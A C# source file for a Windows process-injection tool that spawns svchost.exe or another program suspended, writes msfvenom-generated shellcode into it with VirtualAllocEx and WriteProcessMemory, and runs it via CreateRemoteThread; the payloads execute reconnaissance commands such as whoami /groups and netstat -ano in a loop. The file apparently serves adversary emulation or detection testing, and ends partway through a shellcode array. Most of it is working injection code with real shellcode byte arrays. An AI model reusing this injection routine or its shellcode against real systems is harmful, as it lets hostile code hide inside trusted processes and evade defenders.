ProcessInjection.cs

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

/*
Sources:
    https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-startupinfoex-from-c-sharp-and-re-parent-the-ch
    https://github.com/TheWover/donut/blob/master/DonutTest/Program.cs
*/

namespace ProcessInjection
{    
    internal class Win32
    {
        //dll imports for win32 API calls
        //TODO: reorganize these into the order which they are called? also the format should be standardized
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        internal static extern bool CreateProcess(
            string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
            ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
            IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(
            int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        internal static extern IntPtr VirtualAllocEx(
            IntPtr hProcess, IntPtr lpAddress, uint dwSize,
            uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        internal static extern bool WriteProcessMemory(
            IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
            uint nSize, out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        internal static extern IntPtr CreateRemoteThread(
            IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize,
            IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
            IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
        internal static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        internal static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool IsWow64Process(System.IntPtr hProcess, out bool lpSystemInfo);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        internal struct STARTUPINFOEX
        {
            public STARTUPINFO StartupInfo;
            public IntPtr lpAttributeList;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        internal struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }
        
    }

    internal class ProcInj
    {
        internal struct Variables
        {
            //runtime
            //log file location
            //private static int runtime;
            public int Runtime { get; set; }
            public string LogFilePath { get; set; }
            public bool DisplayedHelp { get; set; }
            public DateTime StartTime { get; set; }
        }

        // cancelled: Used to check if the user has ended the program with Ctrl + C
        // false = continue running program
        private static volatile bool cancelled = false;
        private static Variables variables = new Variables();

        static void Main(string[] args)
        {
            parseArgs(args);
            DateTime currentTime = DateTime.UtcNow;
            DateTime endTime = DateTime.UtcNow;
            variables.StartTime = DateTime.UtcNow;

            if (variables.Runtime != 0)
            {
                endTime = endTime.AddSeconds(variables.Runtime);
            }
            
            string APP_NAME = "";
            string CMD_LINE = "";

            // Set up the handler for cancelling the system
            Console.CancelKeyPress += new ConsoleCancelEventHandler(cancelHandler);

            
            int victim = 0;
            switch (victim) //switch to choose between different target apps, cmd lines
            {
                case 0:
                    APP_NAME = "C:\\Windows\\system32\\svchost.exe";
                    CMD_LINE = "-k netsrv";
                    break;
                case 1:
                    APP_NAME = "C:\\Windows\\system32\\notepad.exe";
                    CMD_LINE = "";
                    break;
                case 2:
                    APP_NAME = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
                    CMD_LINE = "";
                    break;
            }
            outputData("----------------------------------------------------------------------------------------------------");
            while(true)
            {
                for(int i = 0; i <4; i++)
                {
                    if (ProcInj.cancelled)
                    {
                       closeProgram();
                    } 
                    Inject(APP_NAME, CMD_LINE, i);
                    if (variables.Runtime != 0)
                    {                            
                        currentTime = DateTime.UtcNow;
                        if(DateTime.Compare(endTime, currentTime) < 0 || ProcInj.cancelled)
                        {
                            closeProgram();
                        }
                    }                    
                }
            }
        }

        public static void Inject(string APP_NAME, string CMD_LINE, int inj)
        {
            /*
                inj gets passed to getShellCode to decide which command to run
                0: whoami /groups
                1: netstat -ano
                2: qwinsta
                3: tasklist
            */

            outputData("Attempting to start target process: " + APP_NAME + " " + CMD_LINE);

            // Check if user has cancelled the program
            // No need to call closeProc because nothing has been started
            if (ProcInj.cancelled)
            {
                outputData("CANCEL detected before before process started. Exiting program.");
                return;
            }

            //if we are injecting into powershell, offset the inj value so we use the correct payload
            if(APP_NAME == "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")
            {
                inj += 8;
            }
            
            const uint CREATE_SUSPENDED = 0x00000004;
            
            const int PROCESS_CREATE_THREAD = 0x0002;
            const int PROCESS_QUERY_INFORMATION = 0x0400;
            const int PROCESS_VM_OPERATION = 0x0008;
            const int PROCESS_VM_WRITE = 0x0020;
            const int PROCESS_VM_READ = 0x0010;

            const uint MEM_COMMIT = 0x00001000;
            const uint MEM_RESERVE = 0x00002000;
            const uint PAGE_EXECUTE_READWRITE = 0x40;

            byte[] injection = new byte[304];
            
            //initialize some process information vars
            var pInfo = new Win32.PROCESS_INFORMATION();
            var sInfoEx = new Win32.STARTUPINFOEX();
            sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);


            //more var initialization
            var pSec = new Win32.SECURITY_ATTRIBUTES();
            var tSec = new Win32.SECURITY_ATTRIBUTES();
            pSec.nLength = Marshal.SizeOf(pSec);
            tSec.nLength = Marshal.SizeOf(tSec);
            var lpApplicationName = APP_NAME;
            var lpCommandLine = CMD_LINE;

            //lpCurrentDirectory (3rd to last arg) needs to be null here, won't work otherwise, don't let the IDE fool you lol
            if(Win32.CreateProcess(lpApplicationName, lpCommandLine, ref pSec, ref tSec, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfoEx, out pInfo))
            {
                outputData("Successfully spawned target process " + pInfo.dwProcessId);
            }
            else
            {
                outputData("[!] Unable to spawn target process. Error number: " + Marshal.GetLastWin32Error());
            }

            outputData("Beginning process hollowing and command injection of target process...");

            Process targetProcess = Process.GetProcessById(pInfo.dwProcessId);
            IntPtr procHandle = Win32.OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, 
                    false, targetProcess.Id);
            if(procHandle != IntPtr.Zero)
            {
                outputData("Successfully opened handle " + procHandle + " for process " + targetProcess.Id);
            }
            else
            {
                outputData("[!] Unable to open a handle for process " + targetProcess.Id + ". Error number: " + Marshal.GetLastWin32Error());
            }

            // Check if user has cancelled the program
            // Call closeProc to shutdown victim process before returning
            if (ProcInj.cancelled)
            {
                outputData("CANCEL detected after victim process started. Stopping process and exiting program.");
                closeProc(pInfo, sInfoEx);
                return;
            }

            //don't check for 32/64bit if we are using powershell, 32bit options for powershell aren't in the switch statement
            if (IsWow64Process(targetProcess) == true && APP_NAME != "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")
            {
                injection = getShellCode(inj+4);
            }
            else
            {
                injection = getShellCode(inj);
            }

            switch(inj)
            {
                case 0:
                    outputData("Attempting to inject the command \"whoami /groups\" into the target process...");
                    break;
                case 1:
                    outputData("Attempting to inject the command \"netstat -ano\" into the target process...");
                    break;
                case 2:
                    outputData("Attempting to inject the command \"qwinsta\" into the target process...");
                    break;
                case 3:
                    outputData("Attempting to inject the command \"tasklist\" into the target process...");
                    break;
            }

            IntPtr allocMemAddress = Win32.VirtualAllocEx(procHandle, IntPtr.Zero, (uint)injection.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            UIntPtr bytesWritten;
            if(Win32.WriteProcessMemory(procHandle, allocMemAddress, injection, (uint)injection.Length, out bytesWritten))
            {
                outputData("Successfully wrote to process " + targetProcess.Id + "'s memory.");
            }
            else
            {
                outputData("[!] Unable to write to process " + targetProcess.Id + "'s memory. Error number: " + Marshal.GetLastWin32Error());
            }

            if(Win32.CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero) != IntPtr.Zero)
            {
                outputData("Successfully created a remote thread in process " + targetProcess.Id + ".");
            }
            else
            {
                outputData("[!] Unable to create a remote thread in process " + targetProcess.Id + ". Error number: " + Marshal.GetLastWin32Error());
            }

            //Exit msg, allows us to read output
            outputData("Operation complete. Beginning cleanup...");
            Thread.Sleep(15000);

            // Close process handle
            if (procHandle != IntPtr.Zero)
            {
                Win32.CloseHandle(procHandle);
            }
            

            closeProc(pInfo, sInfoEx); //perform cleanup
            outputData("Succesfully finished command injection.");
            outputData("----------------------------------------------------------------------------------------------------\n");
        }

        static void closeProgram()
        {
            outputData("----------------------------------------------------------------------------------------------------");
            outputData($"The program has ran for {Math.Round(DateTime.UtcNow.Subtract(variables.StartTime).TotalSeconds)} total seconds and will now exit.");
            outputData($"The log file has been outputted to {variables.LogFilePath}");
            outputData("Thank you for using the Process Injection program!\n\n");
            Environment.Exit(0);
        }

        public static bool IsWow64Process(Process process)
        {
            bool retVal = false;
            Win32.IsWow64Process(process.Handle, out retVal);
            return retVal;
        }
        
        public static void closeProc(Win32.PROCESS_INFORMATION pInfo, Win32.STARTUPINFOEX sInfoEx)
        {
            int PID = pInfo.dwProcessId;
            // Free the attribute list
            if (sInfoEx.lpAttributeList != IntPtr.Zero)
            {
                Win32.DeleteProcThreadAttributeList(sInfoEx.lpAttributeList);
                Marshal.FreeHGlobal(sInfoEx.lpAttributeList);
            }

            // Close process and thread handles
            if (pInfo.hProcess != IntPtr.Zero)
            {
                Win32.CloseHandle(pInfo.hProcess);
            }
            if (pInfo.hThread != IntPtr.Zero)
            {
                Win32.CloseHandle(pInfo.hThread);
            }
            // Kill the spawned process
            // may need to force this if it doesn't want to close
            try {
                Process target = Process.GetProcessById(PID);
                target.Kill(true);
            } catch(Exception e) {
                    outputData("Caught exception when attempting to kill spawned process: " + e);
            }
            outputData("Successfully killed process: " + PID);
        }

        public static void outputData(string message)
        {
            Console.WriteLine(message);

            // Write to log file
            System.IO.File.AppendAllText(variables.LogFilePath, message += "\n");
        }

        // Handler to deal with user pressing Ctrl + C
        protected static void cancelHandler(object sender, ConsoleCancelEventArgs args)
        {
            if (ProcInj.cancelled)
            {
                outputData("\nShutting down non-gracefully. After shutdown please check if processes are still running by using a 'tasklist' and searching for the process ID.");
                Environment.Exit(0);
            }
            args.Cancel = true;
            ProcInj.cancelled = true;
            outputData("CANCEL command detected. Finishing current task and attempting to gracefully shutdown...");
        }

        static Variables parseUserInput(Variables variables, int selection)
        {
            switch(selection)
            {
                case 1:
                    variables.Runtime = int.Parse(getUserInput("Please enter the amount of seconds you would like the program to run.", false));
                    break;
                case 2:
                    variables.LogFilePath = getUserInput("Please enter the desired output location for the program's log file.", true);
                    break;
            }
            return variables;
        }

        static string getUserInput(string message, bool isPath)
        {
            string result = "";
            string tmp = "";
            bool loop = true;
            Console.WriteLine(message);
            if (isPath)
            {
                do
                {
                    tmp = Console.ReadLine();
                    if (validateInput(tmp, 2))
                    {
                        result = @"" + tmp;
                        Console.WriteLine($"The log file output location has been set to {result}");
                        loop = false;
                    }
                    else
                    {
                        Console.WriteLine($"Path: {tmp} was not found. Please try again.");
                    }
                }
                while (loop);
            }
            else
            {
                do
                {
                    tmp = Console.ReadLine();
                    if (validateInput(tmp, 1))
                    {
                        result = tmp;
                        Console.WriteLine($"The program's runtime has been set to {result} seconds.");
                        loop = false;
                    }
                    else
                    {
                        Console.WriteLine("Invalid amount of seconds detected. The value must be greater than or equal to 0. Please try again.");
                    }
                }
                while (loop);
            }
            return result;
        }

        static bool validateInput(string input, int selection)
        {
            switch (selection)
            {
                case 1:
                    int n;
                    if (int.TryParse(input, out n))
                    {
                        if (int.Parse(input) > -1)
                        {
                            return true;
                        }
                    }
                    return false;
                case 2:
                    try
                    {
                        Path.GetFullPath(input);
                        return true;
                    }
                    catch
                    {
                        return false;
                    }
            }
            return false;
        }

        static void parseArgs(string[] args)
        {

            //set variable defaults
            variables.Runtime = 120;
            variables.LogFilePath = @".\log.txt";
            variables.DisplayedHelp = false;

            if (args.Length > 0)
            {
                if (args[0] == "-help" || args[0] == "-h")
                {
                    Console.WriteLine("-------------------------------------[ Process Injection Help ]-------------------------------------");
                    printHelp();
                    Console.WriteLine("----------------------------------------------------------------------------------------------------");
                    Environment.Exit(0);
                }
                if (args[0] == "-menu" || args[0] == "-m")
                {
                    bool looped = false;
                    int selection;
                    while (true)
                    {
                        if (looped)
                        {
                            Console.WriteLine("----------------------------------------------------------------------------------------------------");
                        }
                        printMenu();
                        variables.DisplayedHelp = true;
                        try
                        {
                            selection = Convert.ToInt16(Console.ReadLine());
                            if (selection == 0)
                            {
                                //return variables;
                                return;
                            }
                            if (selection > 0 && selection < 3)
                            {
                                variables = parseUserInput(variables, selection);
                            }
                            else
                            {
                                Console.WriteLine($"{selection} is not a valid menu option. Please try again.");
                            }
                        }
                        catch
                        {
                            Console.WriteLine("Please make sure to enter a number.");
                        }
                        looped = true;
                    }
                }

                if (args[0] == "-runtime" || args[0] == "-r")
                {
                    string tmp = args[1];
                    if (validateInput(tmp, 1))
                    {
                        variables.Runtime = int.Parse(tmp);
                    }
                    else
                    {
                        Console.WriteLine("Invalid amount of seconds detected. The value must be greater than or equal to 0. Please try again.");
                        Environment.Exit(0);
                    }
                }

                if (args[2] == "-runtime" || args[2] == "-r")
                {
                    string tmp = args[3];
                    if (validateInput(tmp, 1))
                    {
                        variables.Runtime = int.Parse(tmp);
                    }
                    else
                    {
                        Console.WriteLine("Invalid amount of seconds detected. The value must be greater than or equal to 0. Please try again.");
                        Environment.Exit(0);
                    }
                }

                if (args[0] == "-logfile" || args[0] == "-l")
                {
                    string tmp = args[1];
                    if (validateInput(tmp,2))
                    {
                        variables.LogFilePath = @"" + tmp;
                    }
                    else
                    {
                        Console.WriteLine($"Path: {tmp} was not found. Please try again.");
                        Environment.Exit(0);
                    }
                }

                if (args[2] == "-logfile" || args[2] == "-l")
                {
                    string tmp = args[3];
                    if (validateInput(tmp,2))
                    {
                        variables.LogFilePath = @"" + tmp;
                    }
                    else
                    {
                        Console.WriteLine($"Path: {tmp} was not found. Please try again.");
                        Environment.Exit(0);
                    }
                }
            }
            else
            {
                Console.WriteLine("No command line arguments detected. To access the help menu, use the command line argument \"-h\" or \"-help\"");
                Console.WriteLine($"Starting the program with the default values. Runtime: {variables.Runtime}, Log file location: {variables.LogFilePath}");
            }
            return;// variables;
        }
        static void printHelp()
        {
            Console.WriteLine("To access the help menu, use one of the following command line arguments:");
            Console.WriteLine("> process_injection.exe [-h/-help]");
            Console.WriteLine("To access the main menu, use one of the following command line arguments:");
            Console.WriteLine("> process_injection.exe [-m/-menu]");
            Console.WriteLine("You can use command line arguments to modify program settings.");
            Console.WriteLine("The position of the arguments is interchangable.");
            Console.WriteLine("> process_injection.exe [-r/-runtime RUNTIME | -l/-logfile LOGFILE]");
            Console.WriteLine("RUNTIME must be a number greater than or equal to 0.");
            Console.WriteLine("A RUNTIME of 0 means the program will run indefinitely.");
            Console.WriteLine("LOGFILE must be a valid path on your system.");
        }
        static void printMenu()
        {
            Console.WriteLine("-------------------------------------[ Process Injection Menu ]-------------------------------------");
            Console.WriteLine("Current values of program settings:");
            Console.WriteLine($"Runtime of the program, in seconds. 0 indicates the program will run indefinitely: {variables.Runtime}");
            Console.WriteLine($"Output location for the program's log file: \"{variables.LogFilePath}\"");
            if (!variables.DisplayedHelp)
            {
                printHelp();
            }
            Console.WriteLine("----------------------------------------------------------------------------------------------------");
            Console.WriteLine("Please input a number corresponding to a following menu options:");
            Console.WriteLine("0. Commit setting and run the program.");
            Console.WriteLine("1. Update the runtime of the program.");
            Console.WriteLine("2. Update the log file output location.");
            Console.Write("Please enter your selection: ");
        }

        public static byte[] getShellCode(int i)
        {
            byte[] injection = new byte[304];
            switch(i) //choose which injection to run
            {
                case 0:
                    //msfvenom -p windows/x64/exec CMD='cmd /k "whoami /groups"' EXITFUNC=thread -f csharp
                    injection = new byte[291] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x6b,0x20,0x22,0x77,0x68,0x6f,0x61,0x6d,0x69,0x20,0x2f,0x67,0x72,
                        0x6f,0x75,0x70,0x73,0x22,0x00 };
                    break;
                case 1:
                    //msfvenom -p windows/x64/exec CMD='cmd /k "netstat -ano"' EXITFUNC=thread -f csharp
                    injection = new byte[289] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x6b,0x20,0x22,0x6e,0x65,0x74,0x73,0x74,0x61,0x74,0x20,0x2d,0x61,
                        0x6e,0x6f,0x22,0x00 };
                    break;
                case 2:
                    //msfvenom -p windows/x64/exec CMD='cmd /k "qwinsta"' EXITFUNC=thread -f csharp
                    injection = new byte[284] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x6b,0x20,0x22,0x71,0x77,0x69,0x6e,0x73,0x74,0x61,0x22,0x00 };
                    break;
                case 3:
                    //msfvenom -p windows/x64/exec CMD='cmd /k "tasklist"' EXITFUNC=thread -f csharp
                    injection = new byte[285] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x6b,0x20,0x22,0x74,0x61,0x73,0x6b,0x6c,0x69,0x73,0x74,0x22,0x00 };
                    break;
                case 4:
                    //msfvenom -p windows/exec CMD='cmd /k "whoami /groups"' EXITFUNC=thread -f csharp
                    injection = new byte[208] {
                        0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
                        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
                        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
                        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
                        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
                        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
                        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
                        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
                        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
                        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
